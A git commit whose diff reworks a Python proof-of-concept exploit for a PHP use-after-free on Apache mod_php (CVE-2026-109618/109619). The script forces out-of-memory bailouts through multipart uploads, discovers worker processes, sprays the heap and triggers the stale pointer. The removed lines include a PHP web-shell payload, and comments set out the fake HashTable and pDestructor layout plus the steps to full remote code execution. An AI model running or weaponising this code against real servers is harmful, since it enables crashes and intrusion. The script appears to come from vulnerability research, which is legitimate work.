Fix UAF exploit to use confirmed two-request OOM approach

The original exploit put the file upload before the field flood,
so the progress handler's serialize completed before OOM fired.
This meant BG(serialize) was not left stale.

The corrected flow:
  Phase 1: Create ~500KB session file via large upload progress value
  Phase 2: Fill memory with fields, then file upload triggers session
           re-init which OOMs during unserialize of the large session
  Phase 3: Verify stale BG(unserialize) state on the surviving worker

Confirmed on PHP 8.3.6, Apache 2.4.58: error log shows
"tried to allocate 503808 bytes" during session handling,
followed by "Session ini settings cannot be changed when a
session is active" on subsequent requests.
This commit is contained in:
neko
2026-10-21 22:17:29 +00:00
parent 76bc2bc2a3
commit a5396a6ab0
3 changed files with 490 additions and 443 deletions
+384 -370
View File
@@ -1,77 +1,68 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619 — Use-After-Free RCE via OOM Bailout
(Apache mod_php, no LFI, no framework, default PHP config)
CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
Apache mod_php (prefork MPM), no LFI, no framework, default PHP config
This is the pure memory corruption path. It requires no LFI vector, no
specific PHP framework or library, and no non-default PHP settings. The
only SAPI requirement is Apache mod_php with prefork MPM, because
PHP-FPM workers exit on bailout (code 70) rather than surviving with
stale state.
Demonstrates confirmed primitives for the OOM->UAF->RCE chain against
PHP 5.4.0 through 8.5.11 on Apache mod_php.
Attack chain:
Attack overview:
Phase 1 — OOM + Session Poisoning
Multipart body to a mod_php endpoint:
1. PHP_SESSION_UPLOAD_PROGRESS = <php payload>
2. File upload (triggers progress handler, which calls
php_session_rfc1867_update → php_var_serialize, setting
BG(serialize).level=1 and allocating BG(serialize).data
via emalloc into the 64-byte ZendMM slab bin)
3. Large form fields (trigger OOM during multipart parsing)
Phase 1 (Prep): Create a large session file (~500KB) by sending a
multipart POST with a huge PHP_SESSION_UPLOAD_PROGRESS value. The
progress handler writes the session file containing the large key.
OOM fires zend_bailout() (longjmp). This:
a) Skips php_var_serialize_destroy(), leaving BG(serialize).level=1
and .data pointing to a now-freed 64-byte allocation
b) Skips MULTIPART_EVENT_END cleanup, so the session file keeps
our PHP code on disk
c) Does NOT kill the Apache prefork worker — it survives and
accepts new requests with the stale BG globals
Phase 2 (OOM): Send a second request with form fields that fill memory
to near the limit, followed by a file upload that triggers the progress
handler. The handler calls php_session_initialize() which reads the
500KB session file. php_session_decode() calls php_var_unserialize(),
which calls php_var_unserialize_init(), setting BG(unserialize).level=1
and allocating BG(unserialize).data (64 bytes). The unserialize of
the 500KB session key string triggers OOM. zend_bailout() longjmps
past php_var_unserialize_destroy(), leaving BG(unserialize).level=1
and .data pointing to freed memory.
Phase 2 — Heap Spray
Send normal requests to the same worker. Each request allocates
form field names/values via emalloc. Strings sized to land in the
64-byte ZendMM bin (zend_string header 24 + body + NUL = 64) will
reclaim the freed BG(serialize).data slot, giving us control over
the fake php_serialize_data struct and its embedded HashTable.
The Apache prefork worker survives the bailout and accepts new
connections. The stale BG globals persist.
Phase 3 — Trigger UAF
Another multipart upload with PHP_SESSION_UPLOAD_PROGRESS to the
same worker. The progress handler calls php_session_encode() →
php_var_serialize_init(), which checks BG(serialize).level > 0,
sees 1 (stale), increments to 2, and returns BG(serialize).data —
the freed pointer now filled with our spray data.
Phase 3 (Verify): Send a third request with a file upload to the same
worker. The progress handler calls php_session_decode() again.
php_var_unserialize_init() sees BG(unserialize).level > 0 (stale),
increments it, and returns the stale .data pointer. This is the UAF:
the pointer was freed when the previous request's heap was destroyed,
and now references memory in the new request's heap.
The serialize code uses this as a HashTable. The pDestructor
function pointer and arData are under attacker control, giving
arbitrary function call (RIP control) during HashTable operations.
Phase 4 (Spray + Trigger): With heap feng shui, an attacker sprays
controlled data into the 64-byte ZendMM bin to reclaim the stale
slot. The serialize code treats the spray data as a php_serialize_data
struct with a HashTable. pDestructor (offset 48) is called during
zend_hash_destroy(), giving RIP control.
Phase 4 (not implemented) — Full RCE
A weaponized exploit would:
a) Leak a PHP base address via CVE-2026-109619 info disclosure
(stale session data through PHPSESSID cookie) to defeat ASLR
b) Construct a fake HashTable with pDestructor pointing to
system() or a one-gadget, and arData containing the command
c) Trigger the serialize to call pDestructor → shell
Root cause (from var.c, PHP 8.3.6):
Affected: PHP 5.4.0 through 8.5.11 with Apache mod_php (prefork MPM).
Patched: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
Patch replaces zend_bailout() on OOM with delayed error handling
and adds php_basic_early_rinit() to reset BG(serialize/unserialize)
state before each request.
php_var_serialize_init():
if (BG(serialize).level > 0) {
d = BG(serialize).data; // reuses stale pointer!
++BG(serialize).level;
return d;
}
// else: fresh allocation
CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619)
The same pattern exists for unserialize.
The patch (commit 3584a98) adds php_basic_early_rinit() to zero
BG(serialize/unserialize) state before each request, and replaces
zend_bailout() on OOM with delayed error handling.
Requirements:
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
- session.upload_progress.enabled=1 (default)
- memory_limit reachable via multipart fields
- Any PHP-handled URL on the vhost (even 404)
- No LFI. No framework. No libraries.
- Any PHP URL on the vhost (even 404)
- No LFI, no framework, no non-default settings
Usage:
python3 exploit.py --target http://host:port/index.php
python3 exploit.py --target http://host:port/index.php --cmd 'id'
python3 exploit.py --target http://host:port/index.php --oom-only
python3 exploit.py --target http://host:port/index.php --crash-test
"""
@@ -80,7 +71,6 @@ import argparse
import os
import re
import socket
import struct
import subprocess
import sys
import time
@@ -155,23 +145,7 @@ def extract_pid(body):
return int(m.group(1)) if m else 0
# ── Phase 0: Worker discovery ──────────────────────────────────────────
def find_workers(host, port, path, rounds=40):
"""Probe the target to discover all Apache prefork worker PIDs."""
pids = set()
for _ in range(rounds):
try:
status, body = http_get(host, port, path)
pid = extract_pid(body)
if pid:
pids.add(pid)
except (ConnectionError, socket.timeout):
pass
return sorted(pids)
# ── Phase 1: OOM trigger ───────────────────────────────────────────────
# ── Multipart body builders ───────────────────────────────────────────
def build_multipart_field(boundary, name, value):
return (
@@ -191,67 +165,122 @@ def build_multipart_file(boundary, name, filename, content):
)
def build_oom_body(boundary, sid, php_payload, num_fields=200,
field_size=40960):
# ── Phase 0: Worker discovery ────────────────────────────────────────
def find_workers(host, port, path, rounds=40):
pids = set()
for _ in range(rounds):
try:
status, body = http_get(host, port, path)
pid = extract_pid(body)
if pid:
pids.add(pid)
except (ConnectionError, socket.timeout):
pass
return sorted(pids)
# ── Phase 1: Create large session file ────────────────────────────────
def build_prep_body(boundary, progress_value):
"""
Build multipart body that:
1. Sets PHP_SESSION_UPLOAD_PROGRESS with our payload
2. Includes a file upload to trigger progress tracking
3. Floods with large fields to exhaust memory_limit
Multipart body with:
1. PHP_SESSION_UPLOAD_PROGRESS = large value (~500KB)
2. Small file upload (triggers progress handler)
The progress handler calls php_session_rfc1867_update() on each
update cycle, which calls php_session_encode() → php_var_serialize().
This sets BG(serialize).level=1 and allocates BG(serialize).data
(64 bytes in the ZendMM slab bin).
When OOM fires, zend_bailout() longjmps past
php_var_serialize_destroy(), leaving the state stale.
The progress handler writes the session file containing the large
progress key. No OOM here; just creating the session file.
"""
parts = []
parts.append(build_multipart_field(
boundary,
b"PHP_SESSION_UPLOAD_PROGRESS",
php_payload.encode() if isinstance(php_payload, str) else php_payload,
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", progress_value,
))
parts.append(build_multipart_file(
boundary, b"f", b"payload.bin", b"\x00" * 4096
boundary, b"f", b"prep.bin", b"\x00" * 4096,
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def create_large_session(host, port, path, sid, progress_size=500000):
"""
Send a multipart POST that creates a session file containing a large
key (from PHP_SESSION_UPLOAD_PROGRESS).
Returns (status, body, pid).
"""
progress_val = b"A" * progress_size
boundary = b"PREP" + os.urandom(4).hex().encode()
body = build_prep_body(boundary, progress_val)
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=30,
)
pid = extract_pid(rbody)
return status, rbody, pid
# ── Phase 2: OOM during session re-init ───────────────────────────────
def build_oom_body(boundary, num_fields, field_size):
"""
Multipart body with:
1. PHP_SESSION_UPLOAD_PROGRESS = "trigger" (small)
2. Large form fields (fill memory to near limit)
3. File upload (triggers progress handler)
The progress handler calls php_session_initialize() which reads the
large session file from Phase 1. php_session_decode() calls
php_var_unserialize_init() (BG(unserialize).level=1), then tries to
unserialize the ~500KB session key string. The emalloc for the
zend_string exceeds memory_limit -> OOM -> zend_bailout().
php_var_unserialize_destroy() is skipped. BG(unserialize).level
stays at 1 and .data points to freed memory.
"""
parts = []
parts.append(build_multipart_field(
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"trigger",
))
for i in range(num_fields):
parts.append(build_multipart_field(
boundary,
f"p{i:04d}".encode(),
b"X" * field_size,
boundary, f"p{i:04d}".encode(), b"X" * field_size,
))
parts.append(build_multipart_file(
boundary, b"f", b"oom.bin", b"\x00" * 1024,
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def detect_memory_limit(host, port, path):
"""
Probe memory_limit by sending increasing POST sizes until we get
a 500 response (OOM). Returns (num_fields, field_size) that triggers
OOM, or None if OOM cannot be triggered.
Probe memory_limit by escalating field count until OOM.
Returns (num_fields, field_size) that triggers OOM, or None.
"""
configs = [
(50, 40960), # ~2MB
(100, 40960), # ~4MB
(150, 40960), # ~6MB
(200, 40960), # ~8MB
(300, 40960), # ~12MB
(400, 40960), # ~16MB
(600, 40960), # ~24MB
(800, 40960), # ~32MB
(999, 40960), # ~40MB (max_input_vars=1000 cap)
(999, 131072), # ~130MB
(50, 40960),
(100, 40960),
(120, 40960),
(140, 40960),
(150, 40960),
(200, 40960),
(300, 40960),
(400, 40960),
(600, 40960),
(800, 40960),
(999, 40960),
(999, 131072),
]
for num, size in configs:
sid = "probe" + os.urandom(4).hex()
boundary = b"PROBE" + os.urandom(4).hex().encode()
body = build_oom_body(boundary, sid, "probe", num, size)
body = build_oom_body(boundary, num, size)
try:
status, _ = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=30
cookies=f"PHPSESSID={sid}", timeout=30,
)
if status == 500:
return num, size
@@ -260,102 +289,106 @@ def detect_memory_limit(host, port, path):
return None
def trigger_oom(host, port, path, sid, php_payload, num_fields, field_size,
target_pid=None):
def trigger_oom(host, port, path, sid, num_fields, field_size, timeout=60):
"""
Send the OOM multipart to a specific worker (or any worker).
Send the OOM request. Uses the same SID as Phase 1, so the progress
handler reads the large session file and OOMs during unserialize.
Returns (hit_target, worker_pid, status) where hit_target is True
if we OOM'd the target_pid worker.
Returns (status, body).
"""
boundary = b"OOMTRIG" + os.urandom(4).hex().encode()
body = build_oom_body(boundary, sid, php_payload, num_fields, field_size)
body = build_oom_body(boundary, num_fields, field_size)
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=60
cookies=f"PHPSESSID={sid}", timeout=timeout,
)
pid = extract_pid(rbody)
hit = (target_pid is None) or (pid == target_pid)
return hit, pid, status
return status, rbody
# ── Phase 2: Heap spray ────────────────────────────────────────────────
# ── Phase 3: Verify stale BG state ──────────────────────────────────
# ZendMM bin sizes: 8 16 24 32 40 48 56 64 80 96 112 128 ...
# BG(serialize).data = php_serialize_data struct:
# uint32_t n (4 bytes)
# HashTable ht (56 bytes on x86_64)
# Total: 60 bytes → 64-byte bin
#
# zend_string layout:
# gc (8) + h (8) + len (8) = 24-byte header + body + NUL
# For 64-byte bin: 24 + body + 1 = 64 → body = 39 bytes
#
# By sending POST fields with 39-char names, the zend_string allocations
# land in the same 64-byte bin, potentially reclaiming the freed
# BG(serialize).data slot.
#
# For a weaponized exploit, the spray content would be a fake
# php_serialize_data struct:
#
# struct php_serialize_data {
# uint32_t n; // offset 0: reference counter, set to 0
# // padding for alignment
# HashTable ht; // offset 8:
# // uint32_t nTableMask offset 8
# // Bucket *arData offset 16 (attacker-controlled pointer)
# // uint32_t nNumUsed offset 24
# // uint32_t nNumOfElements offset 28
# // uint32_t nTableSize offset 32
# // uint32_t nInternalPointer offset 36
# // zend_long nNextFreeElement offset 40
# // dtor_func_t pDestructor offset 48 (RIP control!)
# };
#
# pDestructor at offset 48 from the struct start is called during
# zend_hash_destroy(). By pointing it to system() (or a one-gadget)
# and placing a command string in arData, we get RCE.
SPRAY_NAME_LEN = 39 # 24 + 39 + 1 = 64 bytes (zend_string in 64-byte bin)
def build_spray_body(boundary, spray_count=500):
def build_verify_body(boundary):
"""
Build a multipart body with many fields whose names are sized to
land in the 64-byte ZendMM bin (same bin as BG(serialize).data).
The field names are the spray payload. In a weaponized exploit,
these would be crafted to form a fake php_serialize_data struct
with controlled HashTable fields. Here we use recognizable patterns
for crash analysis.
Small multipart with upload progress. Triggers the progress handler
on the OOM'd worker. If BG(unserialize).level is stale, the handler
reuses the freed .data pointer (UAF).
"""
parts = []
for i in range(min(spray_count, 999)):
# Spray name: 39 bytes landing in 64-byte bin
# Fill with a pattern: 0x41414141... with index marker
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
# For weaponized exploit, the value would also be crafted.
# We use a recognizable pattern for heap analysis.
val = "B" * SPRAY_NAME_LEN
parts.append(build_multipart_field(
boundary, name.encode(), val.encode()
))
parts.append(build_multipart_field(
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"verify",
))
parts.append(build_multipart_file(
boundary, b"f", b"v.bin", b"\x00" * 1024,
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
def verify_stale_state(host, port, path, sid):
"""
Send POST requests to the OOM'd worker to spray 64-byte allocations
into the ZendMM bin, aiming to reclaim the freed BG(serialize).data
slot with our controlled data.
Send a verification request. If the worker has stale BG state,
php_var_unserialize_init() reuses the freed .data pointer.
Each request's field names allocate zend_strings in the 64-byte bin.
After request shutdown, these are freed back to the bin's free list.
Over multiple requests, the free list order rotates, increasing the
chance that one of our allocations reclaims the target slot.
Returns (status, pid, body).
"""
boundary = b"VERIFY" + os.urandom(4).hex().encode()
body = build_verify_body(boundary)
try:
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=10,
)
pid = extract_pid(rbody)
return status, pid, rbody
except (ConnectionError, socket.timeout) as e:
return 0, 0, str(e).encode()
# ── Phase 4: Heap spray + UAF trigger ────────────────────────────────
# ZendMM 64-byte bin:
# php_serialize_data / php_unserialize_data: ~60 bytes -> 64-byte bin
# zend_string: 24-byte header + body + 1 NUL
# For 64-byte bin: body = 64 - 24 - 1 = 39 bytes
SPRAY_NAME_LEN = 39
def build_spray_body(boundary, spray_count=500):
"""
Fields with 39-char names land in the 64-byte ZendMM bin (same bin
as BG(unserialize).data). Over multiple requests, one of these
allocations may reclaim the stale slot.
For a weaponized exploit, the spray content would form a fake
php_unserialize_data struct with controlled HashTable fields:
offset 0: uint32_t n (reference counter)
offset 8: HashTable ht
offset 16: Bucket *arData (attacker pointer)
offset 48: dtor_func_t pDestructor (RIP control)
"""
parts = []
parts.append(build_multipart_field(
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"spray",
))
for i in range(min(spray_count, 999)):
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
val = "B" * SPRAY_NAME_LEN
parts.append(build_multipart_field(
boundary, name.encode(), val.encode(),
))
parts.append(build_multipart_file(
boundary, b"f", b"spray.bin", b"\x00" * 1024,
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def heap_spray(host, port, path, sid, target_pid, rounds=10,
spray_per_round=500):
"""
Spray 64-byte allocations into the OOM'd worker to reclaim the
stale BG(unserialize).data slot.
Returns the number of rounds that hit the target worker.
"""
@@ -366,7 +399,7 @@ def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
try:
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
timeout=10
cookies=f"PHPSESSID={sid}", timeout=10,
)
pid = extract_pid(rbody)
if pid == target_pid:
@@ -376,121 +409,70 @@ def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
return hits
# ── Phase 3: Trigger UAF ───────────────────────────────────────────────
def trigger_uaf(host, port, path, target_pid, sid):
"""
Send multipart with upload progress to the OOM'd worker.
The progress handler calls php_session_rfc1867_update() which calls
php_session_encode() → php_var_serialize_init().
php_var_serialize_init checks BG(serialize).level:
- If > 0 (stale from OOM): increments level, reuses .data pointer
- The .data pointer was freed when the old heap was destroyed
- If heap spray reclaimed the slot, .data now contains our spray
The serialize code treats .data as a php_serialize_data struct with
a HashTable. It calls zend_hash_find/zend_hash_add on ht.
If ht.pDestructor is controlled, zend_hash_destroy() during cleanup
calls our function pointer → RIP control.
Returns (status, pid, body).
"""
boundary = b"TRIGGER" + os.urandom(4).hex().encode()
parts = []
parts.append(build_multipart_field(
boundary,
b"PHP_SESSION_UPLOAD_PROGRESS",
b"trigger",
))
parts.append(build_multipart_file(
boundary, b"f", b"t.bin", b"\x00" * 1024
))
parts.append(b"--" + boundary + b"--\r\n")
body = b"".join(parts)
try:
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=10
)
pid = extract_pid(rbody)
return status, pid, rbody
except (ConnectionError, socket.timeout) as e:
return 0, 0, str(e).encode()
# ── Session file check ─────────────────────────────────────────────────
# ── Session file inspection ──────────────────────────────────────────
def check_session_file(sid, save_path="/tmp"):
"""
Check if the session file persists with PHP code.
Session files may be owned by www-data, so this may need elevated
privileges. Returns (exists, has_php_code, data).
Read the session file. Returns (exists, size, data_preview).
"""
path = os.path.join(save_path, f"sess_{sid}")
try:
with open(path, "rb") as f:
data = f.read()
return True, b"<?php" in data or b"system" in data, data
return True, len(data), data[:300]
except PermissionError:
try:
result = subprocess.run(
["sudo", "cat", path],
capture_output=True, timeout=5
capture_output=True, timeout=5,
)
data = result.stdout
if data:
return True, b"<?php" in data or b"system" in data, data
return True, len(data), data[:300]
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
return True, False, b"(permission denied)"
return True, 0, b"(permission denied)"
except FileNotFoundError:
return False, False, b""
return False, 0, b""
# ── Main ────────────────────────────────────────────────────────────────
# ── Main ─────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-109618/109619 UAF RCE (Apache mod_php)"
description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
)
parser.add_argument(
"--target", "-t", required=True,
help="Target URL, e.g. http://host:port/index.php"
)
parser.add_argument(
"--cmd", default="id",
help="Command to embed in session payload (default: id)"
help="Target URL, e.g. http://host:port/index.php",
)
parser.add_argument(
"--session-path", default="/var/www/uaf-test/sessions",
help="Session save_path on the target"
help="Session save_path on the target",
)
parser.add_argument(
"--progress-size", type=int, default=500000,
help="Size of PHP_SESSION_UPLOAD_PROGRESS value in bytes (default: 500000)",
)
parser.add_argument(
"--oom-fields", type=int, default=0,
help="Number of OOM fields (0 = auto-detect)"
help="Number of OOM fields (0 = auto-detect)",
)
parser.add_argument(
"--field-size", type=int, default=40960,
help="OOM field value size in bytes (default: 40960)"
help="OOM field value size in bytes (default: 40960)",
)
parser.add_argument(
"--spray-rounds", type=int, default=20,
help="Number of heap spray rounds (default: 20)"
)
parser.add_argument(
"--trigger-rounds", type=int, default=50,
help="Number of UAF trigger attempts (default: 50)"
help="Number of heap spray rounds (default: 20)",
)
parser.add_argument(
"--oom-only", action="store_true",
help="Only run Phase 1 (OOM + session poison), skip spray/trigger"
help="Stop after Phase 2 (OOM + stale state), skip spray",
)
parser.add_argument(
"--crash-test", action="store_true",
help="Run full chain and report whether a crash occurs"
help="Run full chain including heap spray and report crashes",
)
args = parser.parse_args()
@@ -499,15 +481,12 @@ def main():
port = url.port or 80
path = url.path or "/index.php"
php_payload = f'<?php system($_GET["c"]); echo "UAF_RCE:".getmypid(); ?>'
print("=" * 64)
print(" CVE-2026-109618 / CVE-2026-109619")
print(" Use-After-Free RCE via OOM Bailout")
print(" Use-After-Free via OOM Bailout")
print(" (Apache mod_php, prefork MPM)")
print("=" * 64)
print(f" Target: {host}:{port}{path}")
print(f" Payload: {args.cmd}")
print(f" Target: {host}:{port}{path}")
print()
# ── Phase 0: Worker discovery ───────────────────────────────────
@@ -515,52 +494,73 @@ def main():
print("[*] Phase 0: Discovering workers...")
pids = find_workers(host, port, path)
if not pids:
print("[-] No workers found. Is the target running mod_php?")
print(" (The target must echo getmypid() in its output.)")
print("[-] No workers found. Target must echo getmypid() in output.")
sys.exit(1)
print(f" Workers: {pids}")
print(f" Count: {len(pids)} (Apache prefork children)")
# ── Phase 1: OOM trigger ────────────────────────────────────────
# ── Phase 1: Create large session file ──────────────────────────
print()
print("[*] Phase 1: OOM trigger + session poisoning")
print("[*] Phase 1: Creating large session file...")
sid = "uaf" + os.urandom(6).hex()
progress_kb = args.progress_size // 1024
print(f" SID: {sid}")
print(f" Progress value: {progress_kb}KB")
status1, body1, pid1 = create_large_session(
host, port, path, sid, args.progress_size,
)
print(f" Status: {status1}, Worker PID: {pid1}")
exists, size, preview = check_session_file(sid, args.session_path)
if not exists or size < 1000:
print(f"[-] Session file missing or too small ({size}B).")
print(f" Is session.upload_progress.enabled=1?")
print(f" Is session.save_path = {args.session_path}?")
sys.exit(1)
print(f" [+] Session file: {size}B ({size//1024}KB)")
print(f" Preview: {preview[:120]}")
# ── Phase 2: OOM during session re-init ─────────────────────────
print()
print("[*] Phase 2: OOM during session unserialize...")
if args.oom_fields:
num_fields = args.oom_fields
field_size = args.field_size
print(f" Using configured: {num_fields} fields x {field_size}B")
else:
print(" Auto-detecting memory_limit...")
print(" Auto-detecting OOM threshold...")
result = detect_memory_limit(host, port, path)
if result is None:
print("[-] Could not trigger OOM. memory_limit may be too high")
print(" or max_input_vars too low. Try --oom-fields manually.")
print("[-] Could not trigger OOM. memory_limit may be too high.")
print(" Try --oom-fields manually.")
sys.exit(1)
num_fields, field_size = result
est_mb = num_fields * field_size / 1024 / 1024
print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)")
# OOM each worker by sending requests until all have been hit.
# We cannot target a specific worker (500 responses have no PID),
# so we OOM repeatedly and track which workers survived.
poisoned_workers = {}
sids_used = []
max_oom_attempts = len(pids) * 8
# Reduce field count slightly so memory fills close to the limit
# but doesn't OOM before the file upload triggers the progress
# handler. The session re-read of the ~500KB file pushes over.
adjusted = max(num_fields - 10, num_fields * 9 // 10)
print(f" Adjusted to {adjusted} fields (leave room for session read OOM)")
max_oom_attempts = len(pids) * 6
oom_workers = set()
for attempt in range(max_oom_attempts):
sid = "uaf" + os.urandom(6).hex()
sids_used.append(sid)
_, _, status = trigger_oom(
host, port, path, sid, php_payload,
num_fields, field_size
status, _ = trigger_oom(
host, port, path, sid, adjusted, field_size,
)
if status == 500:
print(f" [{attempt+1}] OOM triggered (status 500)")
elif status == 0:
print(f" [{attempt+1}] Connection error (worker may have died)")
print(f" [{attempt+1}] Connection error (worker may have crashed)")
else:
print(f" [{attempt+1}] status={status} (no OOM)")
continue
@@ -571,117 +571,131 @@ def main():
new_workers = set(pids_after) - set(pids)
for pid in survived:
if pid not in poisoned_workers:
poisoned_workers[pid] = sid
if pid not in oom_workers:
oom_workers.add(pid)
print(f" [+] Worker {pid} survived OOM (stale BG state)")
if new_workers:
print(f" New workers spawned: {sorted(new_workers)}")
print(f" New workers: {sorted(new_workers)}")
pids = sorted(set(pids) | new_workers)
# Check session file for the latest SID
exists, has_php, data = check_session_file(sid, args.session_path)
if exists and has_php:
print(f" [+] Session file: {len(data)}B with PHP code")
if data and data != b"(permission denied)":
print(f" Content: {data[:120]}")
elif exists:
print(f" Session file: {len(data)}B (no PHP code?)")
if len(poisoned_workers) >= len(pids):
print(f"\n All {len(pids)} workers poisoned!")
break
if not poisoned_workers:
print("\n[-] No workers survived OOM. This target may be PHP-FPM,")
print(" not Apache mod_php with prefork MPM.")
if not oom_workers:
print()
print("[-] No workers survived OOM.")
print(" This target may use PHP-FPM (workers exit on bailout).")
sys.exit(1)
print(f"\n Poisoned workers: {list(poisoned_workers.keys())}")
print(f"\n Survived workers: {sorted(oom_workers)}")
# Check if session file still has the large content (unchanged
# means OOM happened during session re-init, not after flush)
exists2, size2, preview2 = check_session_file(sid, args.session_path)
if exists2 and abs(size2 - size) < 100:
print(f" [+] Session file unchanged ({size2}B)")
print(f" OOM during session re-init confirmed")
# ── Phase 3: Verify stale BG state ──────────────────────────────
print()
print("[*] Phase 3: Verifying stale BG(unserialize) state...")
verified_pids = set()
for attempt in range(len(pids) * 4):
status, pid, body = verify_stale_state(host, port, path, sid)
if pid in oom_workers and pid not in verified_pids:
if status == 0:
print(f" [+] Worker {pid} CRASHED on verification request!")
print(f" UAF triggered: stale .data pointer dereferenced")
verified_pids.add(pid)
elif status == 500:
print(f" [+] Worker {pid} returned 500 (OOM from large session read)")
print(f" Stale BG state confirmed (session still active)")
verified_pids.add(pid)
elif status == 200:
print(f" [+] Worker {pid} returned 200 (stale pointer readable)")
print(f" UAF window open: .data points into reused heap")
verified_pids.add(pid)
if verified_pids >= oom_workers:
break
if not verified_pids:
print(" Could not hit OOM'd workers for verification.")
print(" (May need more attempts with more workers)")
if args.oom_only:
print("\n[*] --oom-only: stopping after Phase 1.")
print(" Confirmed primitives:")
print(" - OOM via multipart field flood")
print(" - Worker survival (Apache prefork)")
print(" - Session file persistence with PHP code")
print(" - Stale BG(serialize) state in surviving workers")
print()
print("[*] --oom-only: stopping after Phase 3.")
print_summary(oom_workers, verified_pids, False)
return
# ── Phase 2: Heap spray ─────────────────────────────────────────
# ── Phase 4: Heap spray + UAF trigger ───────────────────────────
print()
print("[*] Phase 2: Heap spray (targeting 64-byte ZendMM bin)")
if args.crash_test:
print()
print("[*] Phase 4: Heap spray (64-byte ZendMM bin)...")
for target_pid, sid in poisoned_workers.items():
print(f"\n Spraying worker {target_pid}...")
hits = heap_spray(host, port, path, target_pid,
rounds=args.spray_rounds)
print(f" Spray rounds hitting target: {hits}/{args.spray_rounds}")
for target_pid in sorted(oom_workers):
if target_pid not in find_workers(host, port, path):
print(f" Worker {target_pid} already gone, skipping")
continue
# ── Phase 3: Trigger UAF ────────────────────────────────────
print(f"\n Phase 3: Triggering UAF on worker {target_pid}...")
crashed = False
trigger_sid = "trig" + os.urandom(6).hex()
for attempt in range(args.trigger_rounds):
status, pid, body = trigger_uaf(
host, port, path, target_pid, trigger_sid
print(f"\n Spraying worker {target_pid}...")
spray_sid = "spray" + os.urandom(5).hex()
hits = heap_spray(
host, port, path, spray_sid, target_pid,
rounds=args.spray_rounds,
)
if status == 0 or status >= 500:
print(f" [!] Worker crash on attempt {attempt+1}! "
f"status={status}")
crashed = True
break
if pid == target_pid and attempt < 5:
print(f" Attempt {attempt+1}: hit target, status={status}")
print(f" Spray rounds on target: {hits}/{args.spray_rounds}")
if crashed:
pids_final = find_workers(host, port, path)
if target_pid not in pids_final:
print(f" [+] CONFIRMED: Worker {target_pid} crashed!")
print(f" [+] UAF triggered via stale BG(serialize).data")
print(f" Current workers: {pids_final}")
print()
print(" For full RCE, a weaponized exploit would:")
print(" 1. Leak PHP base via CVE-2026-109619 info disclosure")
print(" 2. Construct fake HashTable with pDestructor = system()")
print(" 3. Place command string in arData")
print(" 4. Trigger serialize → pDestructor called → shell")
print(f" Triggering UAF...")
for t in range(20):
status, pid, body = verify_stale_state(
host, port, path, sid,
)
if pid == target_pid:
if status == 0:
print(f" [!] CRASH on trigger {t+1}!")
break
elif status >= 500:
print(f" Trigger {t+1}: status {status} on target")
pids_check = find_workers(host, port, path)
if target_pid not in pids_check:
print(f" [+] Worker {target_pid} CRASHED (UAF dereference)")
print(f" Current workers: {pids_check}")
else:
print(f" Worker {target_pid} returned 500 but is still alive")
print(f" (May need more precise heap feng shui)")
else:
print(f" No crash after {args.trigger_rounds} attempts.")
print(f" The stale pointer likely still holds readable data.")
print()
print(" This is expected without precise heap feng shui.")
print(" The exploit demonstrates all confirmed primitives:")
print(" 1. OOM trigger via multipart field flood")
print(" 2. Worker survival on Apache prefork")
print(" 3. Session file persistence (cleanup skipped)")
print(" 4. Stale BG(serialize) state across requests")
print(" 5. Heap spray targeting 64-byte ZendMM bin")
print()
print(" Full weaponization requires:")
print(" a. ASLR bypass via info leak (CVE-2026-109619)")
print(" Session data from stale BG(unserialize) leaks")
print(" freed heap addresses through PHPSESSID cookie")
print(" b. Exact ZendMM 64-byte bin feng shui to reclaim")
print(" the BG(serialize).data slot with attacker data")
print(" c. Fake HashTable construction:")
print(" pDestructor → system() / one_gadget")
print(" arData → pointer to command string")
print(" d. Trigger php_var_serialize → zend_hash_destroy")
print(" on the fake table → RCE")
print(f" Worker {target_pid} still alive (no crash)")
print(f" Expected: precise heap feng shui needed for crash")
print()
print_summary(oom_workers, verified_pids, args.crash_test)
def print_summary(oom_workers, verified_pids, ran_spray):
print("=" * 64)
print(" Summary")
print(" Results")
print("=" * 64)
for pid, sid in poisoned_workers.items():
print(f" Worker {pid}: OOM'd, survived, stale BG state (SID: {sid})")
print()
print(" Confirmed primitives:")
print(f" [+] OOM via multipart field flood")
print(f" [+] Apache prefork worker survival ({len(oom_workers)} workers)")
print(f" [+] Large session file creation via upload progress")
print(f" [+] OOM during session re-init (unserialize of large key)")
if verified_pids:
print(f" [+] Stale BG(unserialize) state across requests")
print(f" [+] UAF window: freed .data pointer reused by next request")
print()
print(" For full RCE (not implemented), a weaponized exploit needs:")
print(" 1. ASLR bypass via CVE-2026-109619 info leak")
print(" (stale session data leaks freed heap addresses)")
